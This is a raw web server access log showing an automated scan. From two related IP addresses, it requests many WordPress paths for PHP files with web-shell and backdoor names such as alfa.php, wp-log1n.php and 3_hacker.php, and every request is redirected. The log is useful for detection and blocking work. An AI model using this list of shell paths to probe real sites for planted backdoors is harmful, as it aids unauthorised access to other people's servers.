156.146.56.136 - - [24/Apr/2025:20:37:43 -0400] "GET /wp-content/languages/en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:43 -0400] "GET /wp-includes/js/codemirror/embed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:44 -0400] "GET /wp-includes/wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:44 -0400] "GET /wp-admin/css/colors/ectoplasm/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.136 - - [24/Apr/2025:20:37:45 -0400] "GET /wp-includes/pomo/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:46 -0400] "GET /files/modify_business.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:46 -0400] "GET /wp-includes/Ioad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:46 -0400] "GET /wp-includes/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:47 -0400] "GET /wp-includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:37:47 -0400] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:47 -0400] "GET /wp-admin/maint/cpsc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:49 -0400] "GET /wp-admin/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:37:49 -0400] "GET /wp-admin/includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:49 -0400] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:50 -0400] "GET /wp-admin/maint/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:37:51 -0400] "GET /wp-admin/css/colors/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:37:51 -0400] "GET /wp-admin/images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:51 -0400] "GET /wp-admin/css/colors/blue/ins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:51 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:52 -0400] "GET /wp-admin/js/sheb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:52 -0400] "GET /wp-includes/ID3/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:37:52 -0400] "GET /wp-admin/css/colors/blue/ds.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:53 -0400] "GET /wp-includes/menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:37:53 -0400] "GET /.well-known/b.png.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:54 -0400] "GET /wp-admin/includes/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:54 -0400] "GET /wp-admin/css/colors/blue/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:54 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:54 -0400] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:55 -0400] "GET /wp-admin/css/f.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:37:55 -0400] "GET /wp-admin/css/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:55 -0400] "GET /images/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:55 -0400] "GET /wp-admin/maint/footerm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:56 -0400] "GET /wp-includes/PHPMailer/puran.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:37:56 -0400] "GET /wp-admin/images/wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:56 -0400] "GET /wp-admin/css/colors/coffee/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:37:56 -0400] "GET /files/ban.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:37:57 -0400] "GET /wp-content/languages/factory_wpdialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.131 - - [24/Apr/2025:20:37:57 -0400] "GET /wp-admin/maint/qugpVj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:37:57 -0400] "GET /wp-includes/Text/dashboard.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:57 -0400] "GET /wp-content/uploads/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:58 -0400] "GET /wp-includes/yut.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:58 -0400] "GET /wp-admin/js/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:58 -0400] "GET /wp-admin/maint/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:58 -0400] "GET /wp-content/uploads/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:58 -0400] "GET /wp-admin/images/text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.131 - - [24/Apr/2025:20:37:59 -0400] "GET /uploads/update_with_pics.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:37:59 -0400] "GET /wp-content/upgrade/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:59 -0400] "GET /wp-admin/css/service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:37:59 -0400] "GET /wp-admin/includes/ArjnrN.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:00 -0400] "GET /wp-admin/js/widgets/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:00 -0400] "GET /wp-admin/images/313.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.131 - - [24/Apr/2025:20:38:00 -0400] "GET /wp-includes/Text/bu2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:00 -0400] "GET /wp-admin/includes/tsconfig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:01 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:01 -0400] "GET /wp-admin/css/colors/ew1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:01 -0400] "GET /wp-admin/includes/footerw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:01 -0400] "GET /wp-admin/maint/searchy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:02 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:03 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:03 -0400] "GET /wp-content/uploads/2024/01/3_hacker.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:03 -0400] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:04 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:04 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:04 -0400] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:05 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:05 -0400] "GET /wp-content/plugins/ioxi/ioxi/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.131 - - [24/Apr/2025:20:38:05 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:06 -0400] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.131 - - [24/Apr/2025:20:38:06 -0400] "GET /test/aaaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:06 -0400] "GET /wp-includes/css/dist/edit-site/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:06 -0400] "GET /wp-admin/includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:07 -0400] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:07 -0400] "GET /wp-admin/maint/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:07 -0400] "GET /wp-includes/images/wlwmod_popular.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:07 -0400] "GET /wp-includes/IXR/class-IXR-requests.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:38:08 -0400] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:08 -0400] "GET /wp-admin/css/colors/blue/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:38:08 -0400] "GET /images/2008.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:08 -0400] "GET /wp-includes/PHPMailer/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:09 -0400] "GET /wp-admin/css/colors/blue/hizuka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.131 - - [24/Apr/2025:20:38:09 -0400] "GET /.well-known/deposit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:10 -0400] "GET /wp-content/uploads/lndex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:10 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.131 - - [24/Apr/2025:20:38:10 -0400] "GET /wp-admin/maint/yes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:10 -0400] "GET /wp-includes/pomo/mpvloi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:10 -0400] "GET /wp-admin/images/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:11 -0400] "GET /wp-admin/includes/media.php.INFECTED.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:11 -0400] "GET /wp-includes/block-bindings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:38:11 -0400] "GET /wp-admin/css/colors/ectoplasm/str_shuffcle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.131 - - [24/Apr/2025:20:38:11 -0400] "GET /files/css_compare.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.131 - - [24/Apr/2025:20:38:12 -0400] "GET /wp-includes/0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.131 - - [24/Apr/2025:20:38:12 -0400] "GET /wp-admin/includes/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:12 -0400] "GET /wp-includes/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.131 - - [24/Apr/2025:20:38:12 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:13 -0400] "GET /wp-admin/css/OK.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.131 - - [24/Apr/2025:20:38:13 -0400] "GET /wp-admin/maint/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:13 -0400] "GET /wp-admin/css/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:13 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:14 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:14 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:14 -0400] "GET /wp-includes/widgets/hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:38:14 -0400] "GET /wp-includes/wp-admin-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.131 - - [24/Apr/2025:20:38:15 -0400] "GET /wp-includes/Text/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:15 -0400] "GET /wp-admin/images/searchl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.131 - - [24/Apr/2025:20:38:15 -0400] "GET /wp-content/uploads/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:16 -0400] "GET /wp-includes/PHPMailer/brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.131 - - [24/Apr/2025:20:38:16 -0400] "GET /wp-includes/widgets/class-wp-widget-media-audio-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:16 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-3bv4aS.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:38:16 -0400] "GET /wp-includes/ID3/favicon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:38:17 -0400] "GET /wp-includes/js/codemirror/87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:38:17 -0400] "GET /wp-includes/block-template-utils.php HTTP/1.1" 301 